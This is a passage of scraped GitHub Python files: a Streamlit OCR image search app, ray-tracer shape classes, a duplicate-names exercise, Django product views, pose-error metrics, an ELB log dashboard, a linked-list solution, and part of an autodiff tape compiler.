num_images_key_found > 0:\n for url_image in all_images_key_found:\n image = io.imread(url_image.strip())\n word_index = data_dict_json[url_image][\"word\"].index(search_key_word)\n bounding_box = data_dict_json[url_image][\"bounding_box\"][word_index].split(\",\")\n bounding_box = [int(value) for value in bounding_box]\n\n try:\n row, col = draw.rectangle_perimeter(start=(bounding_box[1], bounding_box[0]),\n end=(bounding_box[1]+bounding_box[3], bounding_box[0]+bounding_box[2]))\n image[row, col, :] = [255, 255, 0]\n except:\n st.warning(\"Some issue with bouding box, so could not be processed\")\n\n st.header(url_image)\n st.image(image)\n return\n\ndef save_detected_words():\n end_point = st.sidebar.text_input(\"Enter the Azure service end point\", \"cog-bbd.cognitiveservices.azure.com\")\n api_key = st.sidebar.text_input(\"Enter the Azure service API key\")\n start_button = st.sidebar.button(\"Start saving word detections\")\n image_urls_text_file = \"https://stbbdimages.blob.core.windows.net/images/image_urls.txt\"\n list_image_urls = get_images_list(image_urls_text_file)\n list_image_urls = list_image_urls.split(\"\\n\")\n num_images = len(list_image_urls)\n\n data_dict_json = {}\n st.write(\"Starting to save the detected words\")\n\n if len(api_key) == 0:\n st.warning(\"API key is empty\")\n return\n\n if start_button:\n progress_bar = st.progress(0.0)\n\n for url_index in range(num_images):\n inner_data_dict = {}\n url_image = list_image_urls[url_index]\n all_words, all_bounding_boxes = get_words_from_vision_api(url_image, end_point, api_key)\n\n if len(all_words) > 0:\n inner_data_dict[\"word\"] = all_words\n inner_data_dict[\"bounding_box\"] = all_bounding_boxes\n data_dict_json[url_image] = inner_data_dict\n progress_bar.progress((url_index + 1) / num_images)\n\n write_json_file(\"data_images.json\", data_dict_json)\n st.write(\"Finished saving the detected words \")\n return\n\ndef get_images_list(image_urls_text_file):\n request = requests.get(image_urls_text_file, verify=False)\n return request.text\n\ndef get_words_from_vision_api(url_image, end_point=\"cog-bbd.cognitiveservices.azure.com\", api_key=None):\n headers = {\n # Request headers\n 'Content-Type': 'application/json',\n 'Ocp-Apim-Subscription-Key': api_key,\n }\n params = urllib.parse.urlencode({\n # Request parameters\n 'language': 'unk',\n 'detectOrientation': 'true',\n 'model-version': 'latest',\n })\n body = {\"url\": url_image}\n\n try:\n all_words = []\n all_bounding_boxes = []\n conn = http.client.HTTPSConnection(end_point)\n conn.request(\"POST\", \"/vision/v3.2/ocr?%s\" % params, f\"{body}\", headers)\n response = conn.getresponse()\n data_bytes = response.read()\n data_json = data_bytes.decode('utf8').replace(\"'\", '\"')\n data_json = json.loads(data_bytes)\n\n for item in data_json[\"regions\"]:\n lines = item[\"lines\"]\n for line in lines:\n words = line[\"words\"]\n for word in words:\n all_words.append(word[\"text\"].lower())\n all_bounding_boxes.append(word[\"boundingBox\"])\n conn.close()\n return all_words, all_bounding_boxes\n except Exception as e:\n st.warning(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n return\n\nbs_app_modes = {\n \"Search text in single image (live)\" : search_text_single_image,\n \"Search text in saved images data\" : search_text_multi_images,\n \"Detect words and save the data\" : save_detected_words,\n}\n\ndef main():\n mode = st.sidebar.selectbox(\"All modes\" , list(bs_app_modes.keys()))\n bs_app_modes[mode]()\n\nmain()\n","repo_name":"AbhishekRS4/B_S_image_text_recognizer","sub_path":"src/bs_image_text_recognizer_app.py","file_name":"bs_image_text_recognizer_app.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71318855268","text":"from features.bounds import Bounds\nfrom features.intersection import Intersections, Intersection\nfrom features.material import Material\nfrom features.matrix import Matrix\nfrom features.tuple import Point, Vector\n\n\nclass Shape:\n def __init__(self, transform=None, material=None, parent=None):\n self.transform = Matrix.identity(4) if not transform else transform\n self.material = Material() if not material else material\n self.parent = parent\n self.box = None\n\n def set_transform(self, t):\n self.transform = t\n\n def normal_at(self, point):\n local_point = self.world_to_object(point)\n local_normal = self.local_normal_at(local_point)\n return self.normal_to_world(local_normal)\n\n def local_normal_at(self, point):\n pass\n\n def intersect(self, ray):\n return self.local_intersect(ray.transform(self.transform.inverse()))\n\n def local_intersect(self, ray):\n pass\n\n def world_to_object(self, point):\n if self.parent:\n point = self.parent.world_to_object(point)\n\n return self.transform.inverse() * point\n\n def bounds(self):\n pass\n\n def normal_to_world(self, normal):\n normal = self.transform.inverse().transpose() * normal\n normal.w = 0\n normal = normal.normalize()\n\n if self.parent:\n normal = self.parent.normal_to_world(normal)\n\n return normal\n\n\nclass Test(Shape):\n def __init__(self, transform=None, material=None):\n super().__init__(transform, material)\n self.saved_ray = None\n\n def local_intersect(self, ray):\n self.saved_ray = ray\n\n def local_normal_at(self, point: Point):\n return Vector(point.x, point.y, point.z)\n\n\nclass Sphere(Shape):\n def __init__(self, origin=None, transform=None, material=None):\n self.origin = Point(0, 0, 0) if not origin else origin\n super().__init__(transform, material)\n\n def __eq__(self, other):\n return isinstance(other, Sphere) and self.origin == other.origin and self.transform == other.transform and \\\n self.material == other.material\n\n def local_normal_at(self, point):\n return point - self.origin\n\n def local_intersect(self, ray):\n sphere_to_ray = ray.origin - self.origin\n\n a = ray.direction.dot(ray.direction)\n b = 2 * ray.direction.dot(sphere_to_ray)\n c = sphere_to_ray.dot(sphere_to_ray) - 1\n\n d = b ** 2 - 4 * a * c\n\n if d < 0:\n return Intersections()\n\n t1 = (-b - d ** 0.5) / (2 * a)\n t2 = (-b + d ** 0.5) / (2 * a)\n return Intersections(Intersection(t1, self), Intersection(t2, self))\n\n @staticmethod\n def glassy():\n s = Sphere()\n s.material.transparency = 1\n s.material.refractive_index = 1.5\n return s\n\n def bounds(self):\n self.box = Bounds(minimum=Point(-1, -1, -1), maximum=Point(1, 1, 1))\n\n\nclass Plane(Shape):\n def __init__(self, transform=None, material=None):\n super().__init__(transform, material)\n\n def local_normal_at(self, point):\n return Vector(0, 1, 0)\n\n def local_intersect(self, ray):\n if abs(ray.direction.y) < 0.00001:\n return Intersections()\n return Intersections(Intersection(-ray.origin.y / ray.direction.y, self))\n\n def bounds(self):\n self.box = Bounds(minimum=Point(-float('inf'), 0, -float('inf')), maximum=Point(float('inf'), 0, float('inf')))\n\n\nclass Cube(Shape):\n def __init__(self, transform=None, material=None):\n super().__init__(transform, material)\n\n def local_intersect(self, ray):\n def check_axis(origin, direction):\n t_min_numerator = (-1 - origin)\n t_max_numerator = (1 - origin)\n t_min = t_min_numerator / direction if abs(direction) >= 0.00001 else t_min_numerator * float('inf')\n t_max = t_max_numerator / direction if abs(direction) >= 0.00001 else t_max_numerator * float('inf')\n if t_min > t_max:\n t_min, t_max = t_max, t_min\n\n return t_min, t_max\n\n x_t_min, x_t_max = check_axis(ray.origin.x, ray.direction.x)\n y_t_min, y_t_max = check_axis(ray.origin.y, ray.direction.y)\n z_t_min, z_t_max = check_axis(ray.origin.z, ray.direction.z)\n t_min = max(x_t_min, y_t_min, z_t_min)\n t_max = min(x_t_max, y_t_max, z_t_max)\n return Intersections(Intersection(t_min, self),\n Intersection(t_max, self)) if t_min <= t_max else Intersections()\n\n def local_normal_at(self, point):\n max_c = max(abs(point.x), abs(point.y), abs(point.z))\n if max_c == abs(point.x):\n return Vector(point.x, 0, 0)\n elif max_c == abs(point.y):\n return Vector(0, point.y, 0)\n return Vector(0, 0, point.z)\n\n def bounds(self):\n self.box = Bounds(minimum=Point(-1, -1, -1), maximum=Point(1, 1, 1))\n\n\nclass Cylinder(Shape):\n def __init__(self, transform=None, material=None, minimum=None, maximum=None, closed=False):\n super().__init__(transform, material)\n self.minimum = -float('inf') if minimum is None else minimum\n self.maximum = float('inf') if maximum is None else maximum\n self.closed = closed\n\n def local_intersect(self, ray):\n xs = Intersections()\n a = ray.direction.x ** 2 + ray.direction.z ** 2\n if a >= 0.00001:\n b = 2 * ray.origin.x * ray.direction.x + 2 * ray.origin.z * ray.direction.z\n c = ray.origin.x ** 2 + ray.origin.z ** 2 - 1\n disc = b ** 2 - 4 * a * c\n if disc < 0:\n return xs\n\n t0 = (-b - disc ** 0.5) / (2 * a)\n t1 = (-b + disc ** 0.5) / (2 * a)\n\n if t0 > t1:\n t0, t1 = t1, t0\n\n y0 = ray.origin.y + t0 * ray.direction.y\n if self.minimum < y0 < self.maximum:\n xs.append(Intersection(t0, self))\n y1 = ray.origin.y + t1 * ray.direction.y\n if self.minimum < y1 < self.maximum:\n xs.append(Intersection(t1, self))\n self.intersect_caps(ray, xs)\n return xs\n\n def intersect_caps(self, ray, xs):\n def check_cap(ray, t):\n x = ray.origin.x + t * ray.direction.x\n z = ray.origin.z + t * ray.direction.z\n return x ** 2 + z ** 2 <= 1\n\n if not self.closed or abs(ray.direction.y) < 0.00001:\n return xs\n t = (self.minimum - ray.origin.y) / ray.direction.y\n if check_cap(ray, t):\n xs.append(Intersection(t, self))\n t = (self.maximum - ray.origin.y) / ray.direction.y\n if check_cap(ray, t):\n xs.append(Intersection(t, self))\n\n def local_normal_at(self, point):\n dist = point.x ** 2 + point.z ** 2\n if dist < 1 and point.y >= self.maximum - 0.00001:\n return Vector(0, 1, 0)\n elif dist < 1 and point.y <= self.minimum + 0.00001:\n return Vector(0, -1, 0)\n else:\n return Vector(point.x, 0, point.z)\n\n def bounds(self):\n self.box = Bounds(minimum=Point(-1, self.minimum, -1), maximum=Point(1, self.maximum, 1))\n\n\nclass Cone(Shape):\n def __init__(self, transform=None, material=None, minimum=None, maximum=None, closed=False):\n super().__init__(transform, material)\n self.minimum = -float('inf') if minimum is None else minimum\n self.maximum = float('inf') if maximum is None else maximum\n self.closed = closed\n\n def local_intersect(self, ray):\n xs = Intersections()\n a = ray.direction.x ** 2 - ray.direction.y ** 2 + ray.direction.z ** 2\n b = 2 * ray.origin.x * ray.direction.x - 2 * ray.origin.y * ray.direction.y + 2 * ray.origin.z * ray.direction.z\n c = ray.origin.x ** 2 - ray.origin.y ** 2 + ray.origin.z ** 2\n if abs(a) >= 0.00001:\n disc = b ** 2 - 4 * a * c\n if disc < 0:\n return xs\n\n t0 = (-b - disc ** 0.5) / (2 * a)\n t1 = (-b + disc ** 0.5) / (2 * a)\n\n if t0 > t1:\n t0, t1 = t1, t0\n\n y0 = ray.origin.y + t0 * ray.direction.y\n if self.minimum < y0 < self.maximum:\n xs.append(Intersection(t0, self))\n y1 = ray.origin.y + t1 * ray.direction.y\n if self.minimum < y1 < self.maximum:\n xs.append(Intersection(t1, self))\n else:\n if abs(b) >= 0.00001:\n xs.append(Intersection(-c / (2 * b), self))\n self.intersect_caps(ray, xs)\n return xs\n\n def intersect_caps(self, ray, xs):\n def check_cap(ray, t, y):\n x = ray.origin.x + t * ray.direction.x\n z = ray.origin.z + t * ray.direction.z\n return x ** 2 + z ** 2 <= y ** 2\n\n if not self.closed or abs(ray.direction.y) < 0.00001:\n return xs\n t = (self.minimum - ray.origin.y) / ray.direction.y\n if check_cap(ray, t, self.minimum):\n xs.append(Intersection(t, self))\n t = (self.maximum - ray.origin.y) / ray.direction.y\n if check_cap(ray, t, self.maximum):\n xs.append(Intersection(t, self))\n\n def local_normal_at(self, point):\n dist = point.x ** 2 + point.z ** 2\n if dist < 1 and point.y >= self.maximum - 0.00001:\n return Vector(0, 1, 0)\n elif dist < 1 and point.y <= self.minimum + 0.00001:\n return Vector(0, -1, 0)\n else:\n y = (point.x ** 2 + point.z ** 2) ** 0.5\n if point.y > 0:\n y = -y\n return Vector(point.x, y, point.z)\n\n def bounds(self):\n self.box = Bounds(minimum=Point(-1, self.minimum, -1), maximum=Point(1, self.maximum, 1))\n\n\nclass Triangle(Shape):\n def __init__(self, p1, p2, p3, transform=None, material=None):\n super().__init__(transform, material)\n self.p1 = p1\n self.p2 = p2\n self.p3 = p3\n self.e1 = p2 - p1\n self.e2 = p3 - p1\n self.normal = self.e2.cross(self.e1).normalize()\n\n def local_normal_at(self, point):\n return self.normal\n\n def local_intersect(self, ray):\n xs = Intersections()\n dir_cross_e2 = ray.direction.cross(self.e2)\n det = self.e1.dot(dir_cross_e2)\n\n if abs(det) < 0.00001:\n return xs\n\n f = 1 / det\n p1_to_origin = ray.origin - self.p1\n u = f * p1_to_origin.dot(dir_cross_e2)\n\n if u > 1 or u < 0:\n return xs\n\n origin_cross_e1 = p1_to_origin.cross(self.e1)\n v = f * ray.direction.dot(origin_cross_e1)\n\n if v < 0 or u + v > 1:\n return xs\n\n t = f * self.e2.dot(origin_cross_e1)\n return Intersections(Intersection(t, self))\n","repo_name":"kevinkarnani/RayTracer","sub_path":"features/shape.py","file_name":"shape.py","file_ext":"py","file_size_in_byte":10744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71777517026","text":"import time\n\nstart_time = time.time()\n\nf = open('names_1.txt', 'r')\nnames_1 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\n\nf = open('names_2.txt', 'r')\nnames_2 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\n\nduplicates = [] # Return the list of duplicates in this data structure\n\n# Replace the nested for loops below with your improvements\nfor name_1 in names_1:\n for name_2 in names_2:\n if name_1 == name_2:\n duplicates.append(name_1)\n\nend_time = time.time()\nprint (f\"{len(duplicates)} duplicates:\\n\\n{', '.join(duplicates)}\\n\\n\")\nprint (f\"runtime: {end_time - start_time} seconds\")\n\nclass BinarySearchTree:\n \"\"\"Because the names are sortable, we can use a binary search tree to\n reduce the runtime from O(n^2) -- traversing all of file 2 for each element\n in file 1 -- to O(n log n), where each traversal takes log(n) time\n (the runtime of a binary search tree).\n \"\"\"\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert(self, value):\n if value < self.value:\n if self.left == None:\n self.left = BinarySearchTree(value)\n else:\n self.left.insert(value)\n else:\n if self.right == None:\n self.right = BinarySearchTree(value)\n else:\n self.right.insert(value)\n\n def contains(self, target):\n if self.value == target:\n return True\n elif target < self.value:\n if self.left is not None:\n return self.left.contains(target)\n else:\n return False\n elif target > self.value:\n if self.right is not None:\n return self.right.contains(target)\n else:\n return False\n\n\nstart_time = time.time()\nf = open('names_1.txt', 'r')\nnames_1 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\n\nf = open('names_2.txt', 'r')\nnames_2 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\nduplicates = []\n# Instantiate and populate the tree, sorting along the way.\nbinary_search_tree = BinarySearchTree(names_1[0])\nfor name_1 in names_1[1:]:\n binary_search_tree.insert(name_1)\n\n# Traverse the tree (O(log n) for n names in names_2, then append dupes.\nfor name_2 in names_2:\n if binary_search_tree.contains(name_2):\n duplicates.append(name_2)\nend_time = time.time()\n\nprint (f\"{len(duplicates)} duplicates:\\n\\n{', '.join(duplicates)}\\n\\n\")\nprint (f\"runtime: {end_time - start_time} seconds\")\n\n# ---------- Stretch Goal -----------\n# Python has built-in tools that allow for a very efficient approach to this problem\n# What's the best time you can accomplish? Thare are no restrictions on techniques or data\n# structures, but you may not import any additional libraries that you did not write yourself.\n\nprint(\"Stretch Goal:\")\nstart_time = time.time()\nf = open('names_1.txt', 'r')\nnames_1 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\n\nf = open('names_2.txt', 'r')\nnames_2 = f.read().split(\"\\n\") # List containing 10000 names\nf.close()\n\nduplicates = set(names_1) & set(names_2)\n\nend_time = time.time()\n\nprint (f\"{len(duplicates)} duplicates:\\n\\n{', '.join(duplicates)}\\n\\n\")\nprint (f\"runtime: {end_time - start_time} seconds\")\n","repo_name":"alexmjn/Sprint-Challenge--Data-Structures-Python","sub_path":"names/names.py","file_name":"names.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3228200937","text":"from django.shortcuts import render\n\n# import product model from product app\nfrom product.models import Product, Review\n\n# to perform queries\nfrom django.db.models import Q\n\n# import os to keep your email and password secret during git push\nimport os\n\n# to send mail import library\nfrom django.core.mail import send_mail\n\n# Create your views here.\n\n\ndef homepage(request):\n # if user queried something\n query = request.GET.get('query', None)\n if query:\n products = Product.objects.filter(Q(name__icontains=query) |\n Q(brand__brandName__icontains=query)\n ).distinct()\n else:\n # retrieve all objects of Product class\n products = Product.objects.all()\n products = products.order_by('-id')\n\n showitems = {\n 'products': products,\n 'title': 'Homepage'\n }\n return render(request, 'homepage.html', context=showitems)\n\n\ndef detail(request, id):\n product = Product.objects.filter(id=id).first()\n reviews = Review.objects.filter(product__id=id)\n total_rating = 0\n for temp in reviews:\n total_rating += temp.rating\n # print(total_rating)\n if total_rating:\n total_rating /= reviews.count()\n # print(total_rating)\n\n details = {\n 'product': product,\n 'reviews': reviews,\n 'rating':total_rating,\n 'title': product.name,\n }\n return render(request, 'details.html', context=details)\n\n\ndef email(request, id):\n product = Product.objects.filter(id=id).first()\n receipient = request.POST.get('email', None)\n if receipient:\n subject = product.fullname()\n message = '''\n Hey, Thanks for checking out our website.\n You requested to send details of phone to your mail\n so here are details\n BRAND: {}\n MODEL:{}\n RAM: {} GB\n ROM: {} GB\n PRICE:{}\n BATTERY: {} Mah\n SCREEN: {} inch \n Thanks for visiting us. Wish to see you again.\n '''.format(product.brand.brandName, product.name, product.ram, product.rom, product.price, product.battery, product.screen)\n from_email = os.environ.get('email')\n receipient_list = [receipient]\n send_mail(subject, message, from_email,\n receipient_list, fail_silently=False)\n return detail(request, id)\n else:\n return homepage(request)\n","repo_name":"ankush953/product-display","sub_path":"product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"5171682816","text":"import numpy as np\nimport math\nfrom pyquaternion import Quaternion\nfrom Math import get_corners\n\n\ndef iou(gt_box, est_box):\n xA = max(gt_box[0], est_box[0])\n yA = max(gt_box[1], est_box[1])\n xB = min(gt_box[2], est_box[2])\n yB = min(gt_box[3], est_box[3])\n\n if xB <= xA or yB <= yA:\n return 0.\n\n interArea = (xB - xA) * (yB - yA)\n\n boxAArea = (gt_box[2] - gt_box[0]) * (gt_box[3] - gt_box[1])\n boxBArea = (est_box[2] - est_box[0]) * (est_box[3] - est_box[1])\n\n return interArea / float(boxAArea + boxBArea - interArea)\n\n\ndef trans_error(gt_trans, est_trans):\n \"\"\"\n :param gt_trans: 真实的三维坐标,np.array([x,y,z])\n :param est_trans: 预测的三维坐标\n :return trans_err_normL: 平方和误差\n :return trans_err_single: x,y,z方向分别的误差\n \"\"\"\n # L2范式,平方和\n trans_err_norm = np.linalg.norm(gt_trans - est_trans)\n # 绝对值\n trans_err_single = np.abs(gt_trans - est_trans)\n\n return trans_err_norm, trans_err_single\n\n\ndef rot_error(gt_rot, est_rot):\n \"\"\"\n :param gt_rot: 真实的旋转角度,np.array([patch,yaw,roll])\n :param est_rot: 预测的旋转角度\n :return rot_error = 2 * arccos(|gt_pose, est_pose|) * 180 / 3.14, 反余弦距离\n \"\"\"\n # 将欧拉角转换为四元数\n def eulerAnglesToQu(theta):\n\n q = np.array([math.cos(theta[0]/2)*math.cos(theta[1]/2)*math.cos(theta[2]/2)+math.sin(theta[0]/2)*math.sin(theta[1]/2)*math.sin(theta[2]/2),\n math.sin(theta[0]/2)*math.cos(theta[1]/2)*math.cos(theta[2]/2) -\n math.cos(theta[0]/2)*math.sin(theta[1]/2) *\n math.sin(theta[2]/2),\n math.cos(theta[0]/2)*math.sin(theta[1]/2)*math.cos(theta[2]/2) +\n math.sin(theta[0]/2)*math.cos(theta[1]/2) *\n math.sin(theta[2]/2),\n math.cos(theta[0]/2)*math.cos(theta[1]/2)*math.sin(theta[2]/2) -\n math.sin(theta[0]/2)*math.sin(theta[1]/2) *\n math.cos(theta[2]/2)\n ])\n return q\n\n # gt_quat = eulerAnglesToQu(gt_rot)\n # est_quat = eulerAnglesToQu(est_rot)\n\n # ans = np.dot(gt_quat, est_quat.T)\n\n # return np.rad2deg(2*math.acos(np.abs(ans)))\n\n # 与上述等价\n gt_quat = Quaternion(eulerAnglesToQu(gt_rot))\n est_quat = Quaternion(eulerAnglesToQu(est_rot))\n\n return np.abs((gt_quat * est_quat.inverse).degrees)\n\n\ndef add_err(dim, gt_trans, est_trans, gt_rot, est_rot):\n \"\"\"\n :param dim:目标的尺寸\n :param gt_trans, gt_rot: 真实的位姿\n :param est_rot, est_rot: 预测的位姿\n :return add_error = 8个二维顶点的欧氏距离的平均值\n \"\"\"\n gt_corners_3D = get_corners(dim, gt_trans, gt_rot[0], gt_rot[1], gt_rot[2])\n est_corners_3D = get_corners(\n dim, est_trans, est_rot[0], est_rot[1], est_rot[2])\n\n add_error = np.mean(np.linalg.norm(gt_corners_3D - est_corners_3D, axis=1))\n\n return add_error\n\n\nif __name__ == \"__main__\":\n trans_errors_norm = []\n trans_errors_single = []\n rot_errors = []\n adds = []\n\n gt_bbox = np.array([120, 200, 400, 700])\n est_bbox = np.array([120, 200, 400, 650])\n\n dim = np.array([2, 2, 2])\n\n gt_trans = np.array([1, 2, 3])\n est_trans = np.array([1, 2.2, 3.5])\n\n gt_rot = np.array([0.5237, -0.5237, 0])\n est_rot = np.array([0.5237, -0.5537, 0])\n\n diameter = np.sqrt(np.square(dim[0])+np.square(dim[1])+np.square(dim[2]))\n\n if iou(gt_bbox, est_bbox) >= 0.5:\n\n trans_error = trans_error(gt_trans, est_trans)\n trans_errors_norm.append(trans_error[0])\n trans_errors_single.append(trans_error[1])\n rot_errors.append(rot_error(gt_rot, est_rot))\n adds.append(add_err(dim, gt_trans, est_trans,\n gt_rot, est_rot) < (0.1 * diameter))\n\n mean_trans_error_norm = np.mean(trans_errors_norm)\n mean_trans_error_single = np.mean(trans_errors_single, axis=0)\n mean_rot_error = np.mean(rot_errors)\n mean_add = np.mean(adds)\n\n print(\"\\tMean Trans Error Norm: {:.3f}\".format(mean_trans_error_norm))\n print(\"\\tMean Rotation Error: {:.3f}\".format(mean_rot_error))\n print(\"\\tMean Trans Errors: X: {:.3f}, Y: {:.3f}, Z: {:.3f}\".format(mean_trans_error_single[0],\n mean_trans_error_single[1],\n mean_trans_error_single[2]))\n print(\"\\tMean ADD: {:.3f}\".format(mean_add))\n","repo_name":"JellyFive/3D-pose-estimation--translation","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"15668200160","text":"from pandas import DataFrame\nfrom json import loads\nfrom utils import get_client_requests_count, get_data\n\nimport streamlit as st\n\nst.set_page_config(layout='wide', page_title='ELB Log Analyzer Dashboard')\n\nst.write('# ELB-Log-Analyzer Dashboard')\npath = st.text_input('Enter Log File Path')\nif path == '' or not path:\n st.write('Required!')\n st.stop()\n\n\n# load analyzed logs into analyzer\nwith open(path, 'r') as f:\n analyzed_data = loads(f.read())\n\n# create bar chart for each ip\n# st.markdown(\n # '### Client Request Time (Can be used for Detecting DDoS/Bruteforce Attacks')\n# st.bar_chart(timestamp_df, x='client_ip', y='timestamp', height=480)\n\n# for total request count\nst.markdown('### Client URL Hit Count')\nrequests_count = get_client_requests_count(analyzed_data)\n# convert to list\nrequests_count = [[client_ip, requests_count[client_ip]]\n for client_ip in requests_count.keys()]\n\nrequest_df = DataFrame(requests_count, columns=['client_ip', 'requests_count'])\nst.bar_chart(request_df, x='client_ip', y='requests_count')\n\n\n# create table for client ip, total_requests, ports, user_agents\nst.markdown('''\n### Client Request Summary\nSearch for below keywords to find bots:\n- bot\n- headless\n- requests\n- axios\n- node-fetch\n- requests\n''')\nclient_request_details = []\nhttp_req_details = []\nfor client_ip in analyzed_data.keys():\n if client_ip == 'total':\n continue\n\n # for client_req_df\n tot_req_count = analyzed_data[client_ip]['total']\n ports = ', '.join([str(port)\n for port in analyzed_data[client_ip]['ports']])\n user_agents = '\\n'.join(analyzed_data[client_ip]['user_agents'])\n\n client_request_details.append(\n [client_ip, tot_req_count, ports, user_agents])\n\n # for http_req_df\n http_requests = analyzed_data[client_ip]['requests']\n get = '\\n'.join(get_data(http_requests.get('GET', {})))\n post = '\\n'.join(get_data(http_requests.get('POST', {})))\n put = '\\n'.join(get_data(http_requests.get('PUT', {})))\n patch = '\\n'.join(get_data(http_requests.get('PATCH', {})))\n delete = '\\n'.join(get_data(http_requests.get('DELETE', {})))\n options = '\\n'.join(get_data(http_requests.get('OPTIONS', {})))\n\n http_req_details.append([client_ip, get, post, put, patch, delete, options])\n\n\n# plot user data\nclient_req_df = DataFrame(client_request_details, columns=[\n 'client_ip', 'total_request_count', 'ports', 'user agents'])\nst.table(client_req_df.sort_values(\n by=['total_request_count'], ascending=False))\n\n\n# plot user requested urls\nst.markdown('''\n### Client URLs list\n''')\n\nhttp_req_df = DataFrame(http_req_details, columns=['client_ip', 'GET','POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'])\nst.table(http_req_df)","repo_name":"dmdhrumilmistry/elb-log-analyzer","sub_path":"dashboard/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7897201732","text":"# 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 \n# \n# 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 \n# \n# \n# \n# 示例 1: \n# \n# \n# 输入:head = [1,2,3,4]\n# 输出:[2,1,4,3]\n# \n# \n# 示例 2: \n# \n# \n# 输入:head = []\n# 输出:[]\n# \n# \n# 示例 3: \n# \n# \n# 输入:head = [1]\n# 输出:[1]\n# \n# \n# \n# \n# 提示: \n# \n# \n# 链表中节点的数目在范围 [0, 100] 内 \n# 0 <= Node.val <= 100 \n# \n# Related Topics 链表 \n# 👍 716 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def swapPairs(self, head: ListNode) -> ListNode:\n # if not head or not head.next:\n # return head\n # next_node = head.next\n # head.next = self.swapPairs(next_node.next)\n # next_node.next = head\n # return next_node\n dummy_head = ListNode(0, head)\n tmp = dummy_head\n while tmp.next and tmp.next.next:\n node1 = tmp.next\n node2 = tmp.next.next\n\n tmp.next = node2\n node1.next = node2.next\n node2.next = node1\n tmp = node1\n return dummy_head.next\n\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"lvbabc/leetcode","sub_path":"leetcode/editor/cn/linkedlist/[24]两两交换链表中的节点.py","file_name":"[24]两两交换链表中的节点.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26181223119","text":"import hashlib\nimport pickle\nimport os\nimport numpy as np\nfrom EzrMod.tape import Tape\n\n\n\n\ndef getHashFunction(filename):\n\t\n\thasher = hashlib.md5()\n\twith open(filename,\"rb\") as f:\n\t\tbuf = f.read()\n\t\thasher.update(buf)\n\treturn hasher.hexdigest()\n\n\n\n\ndef readExistingTape(function):\n\n\tfilename = function.__globals__['__file__']\n\n\toutfile = filename + \".tape\"\n\thashNotVerified = True\n\t\n\tcurrentHash = getHashFunction(filename)\n\n\ttapeDict = None\n\n\tif os.path.exists(outfile):\n\t\ttapeDict = pickle.load(open(outfile,\"rb\"))\n\t\tif tapeDict[\"hash\"]==currentHash:\n\t\t\thashNotVerified = False\n\t\n\treturn hashNotVerified, currentHash, outfile, tapeDict\n\n\n\n\ndef saveTape(tape, currentHash, outfile):\n\n\ttapeDict = \\\n\t{\n\t\t\"hash\" : currentHash,\n\t\t\"size\" : tape.size,\n\t\t\"op1\" : tape.op1,\n\t\t\"op2\" : tape.op2,\n\t\t\"value\" : tape.value,\n\t\t\"deriv\" : tape.deriv,\n\t\t\"oper\" : tape.oper,\n\t\t\"ifEnd\" : tape.ifEnd,\n\t\t\"elseEnd\": tape.elseEnd\n\t}\n\tpickle.dump(tapeDict, open(outfile, \"wb\"))\n\n\treturn tapeDict\n\n\n\n\ndef compileFunction(function, forceRecompile=True):\n\n\thashNotVerified, currentHash, outfile, tapeDict = readExistingTape(function)\n\n\tif hashNotVerified or forceRecompile:\n\n\t\tprint(\"Compiling conditional bifurcation for \\\"%s\\\"\"%(function.__name__))\n\t\t\n\t\ttapeBinaryTree = compileWithConditionalBifurcation(function)\n\n\t\tprint(\"Stacking bifurcations for \\\"%s\\\"\"%(function.__name__))\n\n\t\ttape = stackTapes(tapeBinaryTree)\n\n\t\ttape.createArrays()\n\t\t\n\t\ttapeDict = saveTape(tape, currentHash, outfile)\n\n\treturn tapeDict\n\n\n\n\ndef compileWithConditionalBifurcation(function, condVal=[]):\n\n\tcondVal1 = []\n\tcondVal2 = []\n\n\tcondVal1.extend(condVal)\n\tcondVal2.extend(condVal)\n\n\tcondVal1.append(True)\n\tcondVal2.append(False)\n\n\ttape1 = Tape(condVal1)\n\tfunction(tape1)\n\n\tif len(tape1.conditionals)==0: return [tape1]\n\n\ttape2 = Tape(condVal2)\n\tfunction(tape2)\n\n\tif len(tape1.conditionals)==len(condVal1) and len(tape2.conditionals)==len(condVal2):\n\n\t\treturn [[tape1], [tape2]]\n\n\telif len(tape1.conditionals)==len(condVal1):\n\t\t\n\t\treturn [[tape1], compileWithConditionalBifurcation(function, condVal=condVal2)]\n\n\telif len(tape2.conditionals)==len(condVal2):\n\t\t\n\t\treturn [compileWithConditionalBifurcation(function, condVal=condVal1), [tape2]]\n\n\telse:\n\n\t\treturn [compileWithConditionalBifurcation(function, condVal=condVal1),\n\t\t compileWithConditionalBifurcation(function, condVal=condVal2)]\n\n\n\n\ndef stackTapes(tapeBinTree, iCond=0):\n\t\n\tif 